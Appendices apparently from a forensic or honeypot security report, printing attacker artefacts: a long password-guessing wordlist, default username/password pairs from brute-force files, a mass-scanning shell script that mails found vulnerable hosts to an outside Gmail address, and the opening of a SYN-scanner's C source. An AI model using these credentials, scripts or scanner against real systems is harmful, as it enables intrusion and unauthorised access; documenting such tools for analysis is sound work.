albatros 
albert 
alberto 
alejandr 
alena 
alert 
alessand 
alex 
alexande 
alexandr 
alexendr 
alexia 
alf 
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alfred 
algebra 
ali 
alias 
aliases 
alica 
alice 
alicia 
alisa 
alison 
allah 
allan 
allen 
allison 
alok 
alpha 
alphabet 
altaf 
althea 
alva 
alvin 
alyson 
ama 
amadeus 
amanda 
amar 
amarjit 
amarpree 
amber 
ami 
amos 
amril 
amy 
an-jen 
anal 
analog 
anant 
ananth 
anastasi 
anchana 
anchor 
anders 
andi 
andre 
andrea 
andreas 
andrew 
andrzej 
andy 
aneliese 
angel 
angela 
angerine 
angie 
ani 
anil 
animals 

anis 
anita 
anjana 
anjen 
ann 
anna 
annalena 
annalise 
annamari 
anne 
annette 
anni 
annie 
anon 
anonymous 
answer 
anthony 
antoine 
anton 
antonio 
antony 
anu 
anupa 
anupam 
anurag 
anvils 
anything 
april 
aram 
arash 
arbenz 
ardent 
arelene 
ari 
aria 
ariadne 
ariella 
arif 
arijit 
arindam 
arjun 
arjunasa 
arlene 
armand 
armando 
armond 
arnold 
aron 
arrow 
arshad 
art 
arthur 
artie 
arty 
arun 
aruna 
arvind 

asad 
asd 
asdf 
ashima 
ashish 
ashok 
ashutosh 
asian 
asjeet 
asm 
ass 
asshole 
athanass 
athena 
atlanta 
atse 
atul 
audie 
audra 
audrey 
august 
augustin 
aurelius 
austin 
avi 
avni 
avraham 
azam 
aziz 
azizi 
aztecs 
azure 
babak 
babe 
bacchus 
backup 
badass 
bahram 
bailey 
balakris 
balas 
balasubr 
baldo 
balkrish 
ballard 
ban 
banana 
bananas 
bancroft 
bandit 
bang 
banks 
barb 
barbara 
barber 
baritone 
barney 

barry 
bart 
bartman 
barton 
basic 
baskar 
bass 
bassoon 
basuki 
batch 
batman 
bbb 
bbbb 
bbbbb 
bbbbbb 
bbbbbbb 
bbbbbbbb 
beach 
beater 
beauty 
beaver 
becky 
behnam 
bellow 
beloved 
ben 
bengt 
benjamin 
bennet 
bennett 
benoit 
benson 
bent 
beny 
benz 
beowulf 
beppe 
beresfor 
berhanu 
berkeley 
berlin 
berliner 
bernard 
bernhard 
bernie 
bert 
beryl 
beta 
beth 
bethany 
betsie 
bettie 
betty 
beverly 
bhavani 
bhoothap 
biay 

bichnga 
bienveni 
big 
biliamee 
bill 
billie 
billy 
bin 
bind 
bing 
binod 
birget 
birgetta 
birgit 
bishop 
bitch 
bizhan 
bjorn 
blaine 
blair 
blake 
blow 
blss 
bob 
bobbi 
bobby 
boleslaw 
boner 
bong 
bonnie 
boon 
boozie 
bor 
boris 
boyd 
brad 
bradford 
bradley 
brandi 
brandy 
branisla 
brat 
breast 
brenda 
brendan 
brenden 
brent 
bret 
breton 
brett 
brian 
bridget 
bridgett 
brinkley 
broadway 
bromberg 
brothel 
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bruce 
bruno 
bryan 
bryce 
bryn 
bsd 
bumbling 
bung 
bunny 
burgess 
burke 
burton 
busalacc 
butch 
butt 
byoung 
byoungin 
byung 
cad 
cadat 
cadweld 
cal 
caleb 
calendar 
calvin 
cameron 
camilla 
camille 
camlin 
candace 
candi 
candy 
cantor 
canute 
card 
cardinal 
caren 
carey 
carl 
carla 
carlena 
carlo 
carlos 
carlyle 
carlyn 
carmen 
carol 
carole 
caroleen 
carolie 
carolina 
caroline 
carolyn 
carrie 
carrol 
carson 
carver 

cary 
caryl 
caryn 
cascades 
casey 
caspar 
cassie 
castle 
cat 
catherin 
cathi 
cathleen 
cathy 
cayuga 
ccc 
cccc 
ccccc 
cccccc 
ccccccc 
cccccccc 
cecil 
cecilia 
cecily 
celeste 
celia 
celtics 
cerulean 
cesar 
chad 
chai 
chain 
chakkala 
chan 
chand 
chandra 
chandram 
chandras 
chanequa 
chang 
change 
changho 
changkyu 
chanshin 
chao 
chao-yan 
chaofeng 
charity 
charles 
charlie 
charlott 
charming 
charon 
chas 
chat 
chau 
chedsada 
chem 

chen 
cheng 
cheow 
cheow-to 
cherala 
cheryl 
chess 
chester 
cheung 
chi 
chi-pang 
chi-shun 
chi-tai 
chi-wang 
chi-yao 
chia 
chia-hua 
chia-lin 
chia-yin 
chia-yu 
chien 
chihsing 
chilin 
chin 
chin-w 
ching 
ching-en 
ching-li 
ching-me 
chinpan 
chip 
chisheng 
chloe 
cho 
chol 
choong 
choong-h 
chou 
chris 
chrispen 
chriss 
christian 
christie 
christine 
christoph
er 
christy 
chu 
chuck 
chuen-ch 
chuen-ts 
chun 
chun-lin 
chun-she 
chun-yu 
chung 
chung-na 

chung-pi 
chung-ya 
chungen 
chungyen 
chuong 
churn-hu 
cigar 
cimarron 
cindelyn 
cindy 
claire 
clarisa 
clarissa 
clark 
class 
classic 
claude 
claudia 
cleavage 
cliff 
clifford 
clifton 
clint 
clinton 
cloud 
cluster 
clusters 
cock 
code 
coe 
coffee 
cohen 
coke 
colin 
colleen 
collette 
collins 
comandur 
computer 
comrade 
comrades 
condo 
condom 
connect 
conner 
connie 
conrad 
console 
cookie 
cool 
cooper 
coralyn 
corey 
corinna 
corinne 
corky 
corlene 

cornelia 
cosmo 
courtney 
couscous 
coventry 
craig 
create 
creation 
credit 
creosote 
cretin 
criminal 
cristina 
cronus 
crug 
crystal 
cshrc 
cum 
cunt 
cuong 
curt 
customer 
cyber 
cynthia 
cyril 
daebum 
daehyun 
daemon 
dain 
daisy 
dale 
dalibor 
dalit 
dalu 
damon 
damrongs 
dan 
dana 
dancer 
dane 
danh 
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sesame 
seth 
setup 
seung 
seunghyu 
seungku 
sevak 
severin 
sex 
sexy 
seymour 
shae 
shahrokh 
shalom 
shamita 
shan 
shana 
shannan 
shannon 
shantanu 
sharad 
sharc 
shari 
shariyn 
shark 
sharks 

sharlene 
sharon 
sharra 
shashank 
shashi 
shaun 
shaw 
sheela 
sheila 
shel 
shelby 
sheldon 
shelia 
shell 
shelley 
shelly 
shen 
sheng 
shenglu 
shepherd 
sherif 
sherri 
sherrie 
sherry 
sheryl 
shi 
shiahn 
shidan 
shigenar 
shigeo 
shih 
shihming 
shimon 
shin 
shinobu 
shirin 
shirl 
shirley 
shit 
shiue 
shiva 
shivapra 
shivers 
shizoom 
shlee 
shlomo 
sholom 
shomita 
shorty 
shreeram 
shu 
shuang 
shuhui 
shun 
shuttle 
shyng 
sid 

sidarta 
sidharta 
sidney 
sidoine 
siemens 
signature 
silvere 
silvia 
simon 
simple 
simply 
simpsons 
sina 
singer 
single 
siobahn 
siri 
site 
siuping 
sivakuma 
slut 
smile 
smiles 
smooch 
smother 
smut 
snatch 
snoopy 
soap 
socrate 
socrates 
soft 
solange 
soloman 
soman 
somasama 
some 
somebody 
son 
sondra 
songmiao 
songnian 
sonia 
sonja 
sonya 
soonman 
soowon 
sophie 
sorel 
soroor 
sossina 
sotiris 
soua 
soumitra 
source 
sourire 
souris 
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souvenir 
sparrows 
speed 
spence 
spencer 
sph 
spiro 
spiros 
spit 
spring 
springer 
spud 
spyros 
squires 
sridhar 
srimat 
srinivas 
sss 
ssss 
sssss 
ssssss 
sssssss 
ssssssss 
ssu 
stacey 
staci 
stacie 
stacy 
stamos 
stan 
stanislas 
stanley 
stanly 
stanton 
star 
starbuck 
stefan 
stefano 
stemple 
steph 
stephani 
stephany 
stephen 
stephon 
steve 
steven 
stewart 
storem 
strange 
strangle 
stratford 
stuart 
student 
stuttgart 
subhas 
subhdail 
subhednu 

subodh 
subscribe
r 
subway 
succes 
success 
suck 
sucks 
sudeshna 
sudhakar 
sudhir 
sudir 
sue 
suesec 
sugih 
sukumar 
summer 
sun 
sung 
sunil 
sunwei 
super 
support 
suranet 
suresh 
surfer 
susan 
susanne 
susha 
sushila 
susie 
suvendu 
suvro 
suzanna 
suzanne 
suzie 
sven 
swane 
swearer 
syam 
sybil 
sydney 
sylvain 
sylvere 
sylveste 
sylvestre 
sylvia 
sylvie 
symmetry 
symult 
sys 
sysadmin 
system 
tadahiro 
tadlock 
tai 
tajen 

tak 
taka 
takaji 
takashi 
takuji 
tam 
tamal 
tamara 
tamas 
tami 
tamie 
tammie 
tammy 
tandy 
tanguy 
tania 
tanju 
tanya 
tapas 
tape 
tara 
target 
tarragon 
tatiana 
tatsuo 
tatum 
taureau 
tayfur 
taylor 
tchen 
tech 
ted 
tee 
teen 
telephone 
temp 
tennis 
tentation 
teresa 
teri 
terminal 
terre 
terri 
terrill 
terry 
test 
tetsuo 
thaddeus 
thailand 
thailande 
thanasis 
thanh 
thavy 
thecle 
theodora 
theodore 
theophile 

theresa 
therese 
theron 
thiam 
thibault 
thibaut 
thierry 
thilaka 
thoi 
thomas 
thomson 
thorsten 
thu 
thuy 
tian 
tiffany 
tiger 
tigre 
tijun 
till 
tim 
timothy 
tina 
ting 
tits 
tiw 
tiziano 
tjahjadi 
tobias 
toby 
tod 
todd 
toggle 
tohru 
tom 
tomate 
tomato 
toni 
tony 
topher 
tor 
torc 
torsten 
tortoise 
tortue 
toshiaki 
toshiter 
toufic 
toussaint 
tove 
toxic 
toyota 
traci 
tracie 
tracy 
trails 
tran 

transfer 
transfigu
ration 
travail 
trent 
trevor 
tri 
trieu 
trina 
trisha 
trivial 
trombone 
truc 
tse 
tsung 
tsutomu 
ttt 
tttt 
ttttt 
tttttt 
ttttttt 
tttttttt 
tty 
tuan 
tuba 
tubas 
tuomas 
tuttle 
tuyen 
twila 
tzi 
tzila 
tzuwang 
uday 
udo 
uhn 
uli 
ulric 
ulrich 
umesh 
unhappy 
unicorn 
unix 
unknown 
uranus 
urbain 
urchin 
ursula 
user 
usermane 
username 
util 
utility 
utpal 
uucp 
uuu 
uuuu 
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uuuuu 
uuuuuu 
uuuuuuu 
uuuuuuuu 
vahe 
val 
valentin 
valerie 
valerio 
van 
vance 
vanessa 
varkey 
vasant 
vasanth 
vason 
vassilio 
vaughan 
vee 
veljko 
venceslas 
vendredi 
veneto 
venkat 
venkatad 
venkatar 
venkates 
venus 
ver 
vernon 
veronica 
veronique 
verseau 
vertige 
vertigo 
vianney 
vibeke 
vibhu 
vicki 
vickie 
vicky 
victoire 
victor 
victoria 
victorien 
video 
vierge 
vigyan 
vijay 
vijaya 
vikram 
villa 
village 
vilma 
vinay 
vince 
vincent 

vinit 
vinitha 
vinod 
vinodh 
virgin 
virginia 
virginie 
virginio 
virus 
vishvjit 
visitatio
n 
visitor 
vispi 
visvanat 
vittorio 
vivek 
vivian 
viviane 
vivien 
vlad 
vladimir 
vojin 
volvo 
vvv 
vvvv 
vvvvv 
vvvvvv 
vvvvvvv 
vvvvvvvv 
wade 
wai 
waleed 
walid 
wally 
walter 
wandojo 
wang 
ward 
wargames 
warren 
water 
wayne 
web 
weenie 
wei 
weidong 
weiheng 
weinrich 
weiping 
welch 
wen 
wendel 
wendell 
wendi 
wendy 
wengyik 

wes 
wesley 
wet 
whatever 
whatnot 
whey 
whiting 
whitney 
whore 
wilfried 
will 
willen 
william 
willie 
willy 
wilma 
wilson 
win 
winfred 
wing 
winston 
wired 
wizard 
wojtek 
woman 
wombat 
women 
won 
wong 
wonyun 
woobin 
woodrow 
woodwind 
wooiyi 
word 
work 
wormwood 
wun 
wuntsin 
www 
wwww 
wwwww 
wwwwww 
wwwwwww 
wwwwwwww 
wynne 
wyoming 
xavier 
xaviere 
xfer 
xi 
xiao 
xiaobo 
xiaogang 
xiaoli 
xiaomin 
xinghao 

xmodem 
xue 
xueqing 
xxx 
xxxx 
xxxxx 
xxxxxx 
xxxxxxx 
xxxxxxxx 
xyz 
xyzzy 
yaco 
yael 
yan 
yang 
yanjun 
yaomin 
yaser 
yee 
yeng 
yeon 
yeong 
yezi 
yiannis 
yigal 
yihua 
yin 
yingsha 
yishun 
yogesh 
yoichi 
yolanda 
yon 
yonah 
yong 
yongdong 
yongho 
yonghwan 
yongsam 
yosemite 
yoshiaki 
yoshio 
you 
youcef 
youhanse 
young 
yuan 
yuehwern 
yugang 
yuh 
yuji 
yujiko 
yuka 
yukkei 
yumi 
yumiko 
yung 

yuqian 
yuval 
yves 
yvette 
yvonne 
yyy 
yyyy 
yyyyy 
yyyyyy 
yyyyyyy 
yyyyyyyy 
zachary 
zap 
zary 
zhaoqian 
zhaozhua 
zhengkun 
zhenyan 
zhi 
zhigang 
zhishun 
zhiwei 
zhixin 
zhongmin 
zita 
ziv 
ziyou 
zmodem 
zonda 
zoran 
zzz 
zzzz 
zzzzz 
zzzzzz 
zzzzzzz 
zzzzzzzz 
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Appendix F  

The following is a list of the usernames and passwords contained in the files pass_file, pass_filec, and pass_filees, described in 
Chapter 4. 

pass_file  pass_filec  pass_filees 
staff staff  staff staff  staff staff 

sales sales  sales sales  sales sales 

recruit recruit  recruit recruit  recruit recruit 

alias alias  alias alias  alias alias 

office office  office office  office office 

samba samba  samba samba  samba samba 

tomcat tomcat  tomcat tomcat  tomcat tomcat 

webadmin webadmin  webadmin webadmin  webadmin weba dmin 

spam spam  spam spam  spam spam 

virus virus  virus virus  virus virus 

cyrus cyrus  cyrus cyrus  cyrus cyrus 

oracle oracle  oracle oracle  oracle oracle 

michael michael  michael michael  michael michael 

ftp ftp  ftp ftp  ftp ftp 

test test  test test  test test 

webmaster webmaster  webmaster webmaster  webmaster  webmaster 

postmaster postmaster  postmaster postmaster  postm aster postmaster 

postfix postfix  postfix postfix  postfix postfix 

postgres postgres  postgres postgres  postgres post gres 

paul paul  paul paul  paul paul 

root root  root root  root root 

guest guest  guest guest  guest guest 
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admin admin  admin admin  admin admin 

linux linux  linux linux  linux linux 

user user  user user  user user 

david david  david david  david david 

web web  web web  web web 

apache apache  apache apache  apache apache 

pgsql pgsql  pgsql pgsql  pgsql pgsql 

mysql mysql  mysql mysql  mysql mysql 

info info  info info  info info 

tony tony  tony tony  tony tony 

core core  core core  newsletter newsletter 

newsletter newsletter  newsletter newsletter  named  named 

named named  named named  visitor visitor 

visitor visitor  visitor visitor  ftpuser ftpuser 

ftpuser ftpuser  ftpuser ftpuser  username username  

username username  username username  library libra ry 

administrator administrator  administrator administ rator  test test123 

library library  library library  root root123 

test test123  test test123  root master 

root root123  root root123  root 123456 

root master  root master  admin admin123 

admin admin123  admin admin123  guest guest123 

guest guest123  guest guest123  master master 

master master  master master  root webadmin 

root webadmin  root webadmin  root admin 

root admin  root admin  root linux 

root linux  root linux  root test 



 

 

F-3

root test  root test  root webmaster 

root webmaster  root webmaster  root 000000 

admin root  admin root  admin root 

admin administrator  admin administrator  admin adm inistrator  

admin 12345  admin 12345  admin 12345 

admin 123456  admin 123456  admin 123456 

root 123456  root 123456  root 123456 

root 12345678  root 12345678  root 12345678 

test test12345  test test12345  test test12345 

test 123456  test 123456  test 123456 

webmaster 123456  webmaster 123456  webmaster 12345 6 

username password  username password  username pass word 

user password  user password  user password 

root password  root password  root password 

admin password  admin password  admin password 

test password  test password  test password 

root apache  root apache  root apache 

root unix  root unix  root unix 

root redhat  root redhat  root redhat 

danny danny  danny danny  danny danny 

alex alex  alex alex  alex alex 

brett brett  brett brett  brett brett 

mike mike  mike mike  mike mike 

alan alan  alan alan  alan alan 

data data  data data  data data 

www-data www-data  www-data www-data  www-data www- data 

http http  http http  http http 
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httpd httpd  httpd httpd  httpd httpd 

pop pop  pop pop  pop pop 

nobody nobody  nobody nobody  nobody nobody 

root login  root login  root login 

backup backup  backup backup  backup backup 

info 123456  info 123456  info 123456 

shop shop  shop shop  shop shop 

sales sales  sales sales  sales sales 

web web  web web  web web 

www www  www www  www www 

wwwrun wwwrun  wwwrun wwwrun  wwwrun wwwrun 

adam adam  adam adam  adam adam 

stephen stephen  stephen stephen  stephen stephen 

richard richard  richard richard  richard richard 

george george  george george  george george 

john john  john john  john john 

news news  news news  news news 

angel angel  angel angel  angel angel 

games games  games games  games games 

pgsql pgsql123  pgsql pgsql123  pgsql pgsql123 

mail mail  mail mail  mail mail 

adm adm  adm adm  adm adm 

ident ident  ident ident  adm adm123 

webpop webpop  webpop webpop  ident ident 

susan susan  susan susan  webpop webpop 

sunny sunny  sunny sunny  susan susan 

steven steven  steven steven  steven steven 
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ssh ssh  ssh ssh  ssh ssh 

search search  search search  search search 

sara sara  sara sara  sara sara 

robert robert  robert robert  robert robert 

richard richard  richard richard  richard richard 

party party  party party  party party 

amanda amanda  amanda amanda  amanda amanda 

rpm rpm  rpm rpm  rpm rpm 

operator operator  operator operator  operator oper ator 

sgi sgi  sgi sgi  sgi sgi 

sshd sshd  sshd sshd  sshd sshd 

users users  users users  users users 

admins admins  admins admins  admins admins 

admins 123456  admins 123456  admins 123456 

bin bin  bin bin  bin bin 

daemon daemon  daemon daemon  daemon daemon 

lp lp  lp lp  lp lp 

sync sync  sync sync  sync sync 

shutdown shutdown  shutdown shutdown  shutdown shut down 

halt halt  halt halt  halt halt 

uucp uucp  uucp uucp  uucp uucp 

smmsp smmsp  smmsp smmsp  smmsp smmsp 

dean dean  dean dean  dean dean 

unknown unknown  unknown unknown  unknown unknown 

securityagent securityagent  securityagent security agent  securityagent  securityagent  

tokend tokend  tokend tokend  tokend tokend 

windowserver windowserver  windowserver windowserve r  windowserver windowserver 
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appowner appowner  appowner appowner  appowner appo wner 

xgridagent xgridagent  xgridagent xgridagent  agent  agent 

agent agent  agent agent  jabber jabber 

xgridcontroller  xgridcontroller   xgridcontroller  xgridcontroller  amavisd amavisd 

jabber jabber  jabber jabber  clamav clamav 

amavisd amavisd  amavisd amavisd  appserver appserv er 

clamav clamav  clamav clamav  mailman mailman 

appserver appserver  appserver appserver  cyrusimap  cyrusimap 

mailman mailman  mailman mailman  qtss qtss 

cyrusimap cyrusimap  cyrusimap cyrusimap  eppc eppc  

qtss qtss  qtss qtss  telnetd telnetd 

eppc eppc  eppc eppc  identd identd 

telnetd telnetd  telnetd telnetd  gnats gnats 

identd identd  identd identd  jeff jeff 

gnats gnats  gnats gnats  irc irc 

jeff jeff  jeff jeff  list list 

irc irc  irc irc  eleve eleve 

list list  list list  proxy proxy 

eleve eleve  eleve eleve  sys sys 

proxy proxy  proxy proxy  zzz zzz 

sys sys  sys sys  tech tech 

zzz zzz  zzz zzz  frank frank 

frank frank  frank frank  dan dan 

dan dan  dan dan  james james 

james james  james james  snort snort 

snort snort  snort snort  radiomail radiomail 

radiomail radiomail  radiomail radiomail  harrypott er harrypotter 
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harrypotter harrypotter  harrypotter harrypotter  d ivine divine 

divine divine  divine divine  popa3d popa3d 

popa3d popa3d  popa3d popa3d  aptproxy aptproxy 

aptproxy aptproxy  aptproxy aptproxy  desktop deskt op 

desktop desktop  desktop desktop  workshop workshop  

workshop workshop  workshop workshop  mailnull mail null 

mailnull mailnull  mailnull mailnull  nfsnobody nfs nobody 

nfsnobody nfsnobody  nfsnobody nfsnobody  rpcuser r pcuser 

rpcuser rpcuser  rpcuser rpcuser  rpc rpc 

rpc rpc  rpc rpc  gopher gopher 

gopher gopher  gopher gopher  leonardo leonardo 

   jardel jardel  Notes notes 

   alias alias  ftpguest ftpguest 

   maker maker  nagios nagios 

   china china  hacker hacker 

   balonas balonas    

   etern etern    

   commando commando    

   system system    

   adolf 123456    
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Appendix G  

The following is the full text of the script start , included in the webmin  tool described in 
Chapter 4. 
 
clear 
echo "Tatal nostru care esti pe internet," 
echo "Sfinteasca rooterele tale," 
echo "Fie fibra ta optica," 
echo "Faca-se conexiunea ta!" 
echo "Si da-ne noua viteza pe care o avem noaptea s i ziua!" 
echo "Si ne iarta noua conturile pirat" 
echo "Precum si noi iertam facturile providerilor n ostri" 
echo "Si nu ne duce pe noi spre flood si ne izbaves te de lag!" 
echo "############################################# #########" 
echo "#now.. let's get started with thease little m ass shit#" 
echo "#Made by:                 N0Name and Protecte D by #moc Team                       
#" 
echo "#Greets to:N0Name The Master Of Univers = #mo c  HacK`s #" 
echo "############################################# #########" 
if [ -f a ]; then 
./a1 
./a2 
./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.0 
./a $1.1 
./a $1.2 
./a $1.3 
./a $1.4 
./a $1.5 
./a $1.6 
./a $1.7 
./a $1.8 
./a $1.9 
./a $1.10 
./a2 
./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.11 
./a $1.12 
./a $1.13 
./a $1.14 
./a $1.15 
./a $1.16 
./a $1.17 
./a $1.18 
./a $1.19 
./a $1.20 
./a2 
./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.21 
./a $1.22 
./a $1.23 
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./a $1.24 

./a $1.25 

./a $1.26 

./a $1.27 

./a $1.28 

./a $1.29 

./a $1.30 

./a2 

./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.31 
./a $1.32 
./a $1.33 
./a $1.34 
./a $1.35 
./a $1.36 
./a $1.37 
./a $1.38 
./a $1.39 
./a $1.40 
./a2 
./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.41 
./a $1.42 
./a $1.43 
./a $1.44 
./a $1.45 
./a $1.46 
./a $1.47 
./a $1.48 
./a $1.49 
./a $1.50 
./a2 
./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.51 
./a $1.52 
./a $1.53 
./a $1.54 
./a $1.55 
./a $1.56 
./a $1.57 
./a $1.58 
./a $1.59 
./a $1.60 
./a2 
./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.61 
./a $1.62 
./a $1.63 
./a $1.64 
./a $1.65 
./a $1.66 
./a $1.67 
./a $1.68 
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./a $1.69 

./a $1.70 

./a2 

./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.71 
./a $1.72 
./a $1.73 
./a $1.74 
./a $1.75 
./a $1.76 
./a $1.77 
./a $1.78 
./a $1.79 
./a $1.80 
./a2 
./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.81 
./a $1.82 
./a $1.83 
./a $1.84 
./a $1.85 
./a $1.86 
./a $1.87 
./a $1.88 
./a $1.89 
./a $1.90 
./a2 
./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.91 
./a $1.92 
./a $1.93 
./a $1.94 
./a $1.95 
./a $1.96 
./a $1.97 
./a $1.98 
./a $1.99 
./a $1.100 
./a2 
./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.101 
./a $1.102 
./a $1.103 
./a $1.104 
./a $1.105 
./a $1.106 
./a $1.107 
./a $1.108 
./a $1.109 
./a $1.110 
./a2 
./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
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./a $1.111 

./a $1.112 

./a $1.113 

./a $1.114 

./a $1.115 

./a $1.116 

./a $1.117 

./a $1.118 

./a $1.119 

./a $1.120 

./a2 

./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.121 
./a $1.122 
./a $1.123 
./a $1.124 
./a $1.125 
./a $1.126 
./a $1.127 
./a $1.128 
./a $1.129 
./a $1.130 
./a2 
./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.131 
./a $1.132 
./a $1.133 
./a $1.134 
./a $1.135 
./a $1.136 
./a $1.137 
./a $1.138 
./a $1.139 
./a $1.140 
./a2 
./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.141 
./a $1.142 
./a $1.143 
./a $1.144 
./a $1.145 
./a $1.146 
./a $1.147 
./a $1.148 
./a $1.149 
./a $1.150 
./a2 
./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.151 
./a $1.152 
./a $1.153 
./a $1.154 
./a $1.155 
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./a $1.156 

./a $1.157 

./a $1.158 

./a $1.159 

./a $1.160 

./a2 

./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.161 
./a $1.162 
./a $1.163 
./a $1.164 
./a $1.165 
./a $1.166 
./a $1.167 
./a $1.168 
./a $1.169 
./a $1.170 
./a2 
./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.171 
./a $1.172 
./a $1.173 
./a $1.174 
./a $1.175 
./a $1.176 
./a $1.177 
./a $1.178 
./a $1.179 
./a $1.180 
./a2 
./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.181 
./a $1.182 
./a $1.183 
./a $1.184 
./a $1.185 
./a $1.186 
./a $1.187 
./a $1.188 
./a $1.189 
./a $1.190 
./a2 
./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.191 
./a $1.192 
./a $1.193 
./a $1.194 
./a $1.195 
./a $1.196 
./a $1.197 
./a $1.198 
./a $1.199 
./a $1.200 
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./a2 

./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.201 
./a $1.202 
./a $1.203 
./a $1.204 
./a $1.205 
./a $1.206 
./a $1.207 
./a $1.208 
./a $1.209 
./a $1.210 
./a2 
./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.211 
./a $1.212 
./a $1.213 
./a $1.214 
./a $1.215 
./a $1.216 
./a $1.217 
./a $1.218 
./a $1.219 
./a $1.220 
./a2 
./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.221 
./a $1.222 
./a $1.223 
./a $1.224 
./a $1.225 
./a $1.226 
./a $1.227 
./a $1.228 
./a $1.229 
./a2 
./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.230 
./a $1.231 
./a $1.232 
./a $1.233 
./a $1.234 
./a $1.235 
./a $1.236 
./a $1.237 
./a $1.238 
./a $1.239 
./a2 
./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.240 
./a $1.241 
./a $1.242 
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./a $1.243 

./a $1.244 

./a $1.245 

./a $1.246 

./a $1.247 

./a $1.248 

./a $1.249 

./a2 

./a3 
cat vuln.txt |mail -s "Root`S Hacked By #moc Team" datacorz@gmail.com 
./a $1.250 
./a $1.251 
./a $1.252 
./a $1.253 
./a $1.254 
./a2 
./a3 
./a $1.255 
killall -9 a 
else  
echo # Ciudat ..Nu Ai Urmat Instructiunile  # 
echo # trebui dat mv assh a sau mv scan a   # 
echo # orice ai avea tu ... dohh ..         # 
killall -9 a 
killall -9 pscan2 
fi 
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Appendix H  

The following is the full text of what we believe to be the source code for the SYN scan 
tool, named ss , which is discussed in Chapter 4. The source code was obtained from the 
following site, based on the results of an Internet search on several strings extracted from 
the ss  binary: http://www.securiteam.com/tools/5EP0B0ADFO.html. 
 
/* 
This is a fast and portable (i think). 48 bytes syn , w2k emulation, we 
are still working on it, drop an email to drbios200 0@yahoo.com if 
something goes wrong. libnet and libpcap is require d, the options are 
pretty self explanatory, stripped static binary inc luded for lamers. 
Greets to kauggie (kaugex), nebunu, amidax, jhony s i la ce tovarasi mai 
avem noi pe internetu asta.  
BAG PULA IN TOTI ADMINII CARE SE CRED DUMNEZEI CA S UNT CU CONSOLA IN 
FATA MUIE CUI SE SIMTE LUAT IN VIZOR DE HAITATEAM 
*/ 
 
#include <libnet.h> 
#include <stdio.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <arpa/inet.h> 
#include <sys/types.h> 
#include <unistd.h> 
#include <pcap.h>  
#include <time.h> 
 
 
int main(int argc, char **argv) 
{ 
 libnet_t *l; 
 libnet_ptag_t t;  
 unsigned short burst=50; 
 unsigned short ct=0; 
 char errbuff[LIBNET_ERRBUF_SIZE]; 
 unsigned long myip; 
 struct in_addr sc; 
 unsigned char tcpopt[]="\x02\x04\x05\xb4\x01\x01\x 04\x02"; 
 
 unsigned short port; 
 unsigned long usec; 
 //unsigned char outstr[1024]; 
 char cc; 
 int i; 
 pid_t pid; 
 pcap_t *handle; 
 char *temp_char; 
 bpf_u_int32 mask;  
 bpf_u_int32 net;  
 char errbuf[PCAP_ERRBUF_SIZE];  
 char filter[1024]; 
 struct bpf_program cfilter; 
 struct pcap_pkthdr header;  
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 const unsigned char *packet;  
 struct in_addr ekkt;  
 unsigned char ip[50];  
 
 unsigned long dstip=0; 
 unsigned short sport; 
 char *interface=NULL; 
 unsigned char bclass=0; 
 unsigned char aclass=0;  
 unsigned char rclass=1; 
 unsigned int a=0,b=0,c=0,d=0; 
  
 srand(time(NULL)); 
 sport=rand(); 
 usec=1000000; 
 if(argc<2) 
 { 
 printf("usage: %s <port> [-a <a class> | -b <b cla ss>] [-i <interface] 
[-s <speed>]\n",argv[0]); 
 printf("speed 10 -> as fast as possible, 1 -> it w ill take bloody ages 
(about 50 syns/s)\n"); 
 printf("by DrBIOS <drbios2000@yahoo.com> & Bagabon tu 
<bagabonturo@yahoo.com>\n"); 
 exit(0x01); 
 } 
 for(i=1;i<argc;i++)  
 { 
 if(strstr(argv[i],"-s")) 
 { 
  if(i+1<argc) 
  { 
 switch (atoi(argv[i+1])) 
 { 
  case 1:usec=1000000;break; 
  case 2:usec=500000;break; 
  case 3:usec=250000;break; 
  case 4:usec=125000;break; 
  case 5:usec=60000;break; 
  case 6:usec=30000;break; 
  case 7:usec=10000;break; 
  case 8:usec=1000;break; 
  case 9:usec=100;break; 
  case 10:usec=0;burst=65535; 
 } 
  
  }  
  else 
  { 
 printf("-s requires an argument\n"); 
 exit(0x01); 
  }  
 } 
  
 if(strstr(argv[i],"-i")) 
 { 
  if(i+1<argc) interface=argv[i+1];else 
  { 
